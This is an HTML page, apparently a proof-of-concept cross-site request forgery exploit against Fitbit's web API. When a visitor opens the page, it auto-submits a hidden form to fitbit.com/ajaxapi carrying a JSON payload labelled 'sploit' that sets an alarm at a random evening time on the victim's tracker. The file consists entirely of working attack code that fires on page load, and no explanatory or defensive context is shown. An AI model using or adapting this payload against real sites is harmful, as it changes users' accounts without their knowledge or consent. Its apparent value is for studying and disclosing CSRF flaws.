addalarm.html (Source)

<script type="text/javascript" src="jquery-1.7.1.min.js"></script>

<form method="POST" action="https://www.fitbit.com/ajaxapi">
	<input type="hidden" name="request" id="payload" value=''>
	<input type="submit" name="submit" id="csrfgo">
</form>

<script type="text/javascript">
	$(document).ready(function() {
		hour = Math.floor(1 + Math.random()*10);
		minute = Math.floor(10 + Math.random()*49);
		sploit = '{"serviceCalls":[{"name":"trackerSettings","method":"saveAlarm","args":{"alarm":"{\\"time\\":\\"'+hour+':'+minute+' PM\\",\\"ampm\\":\\"PM\\",\\"recurrent\\":\\"\\",\\"enabled\\":\\"true\\"}"}}],"template":"user/dash/alertResponse.json.jsp"}'
		$("#payload").val(sploit);
		$("#csrfgo").click();
	});
</script>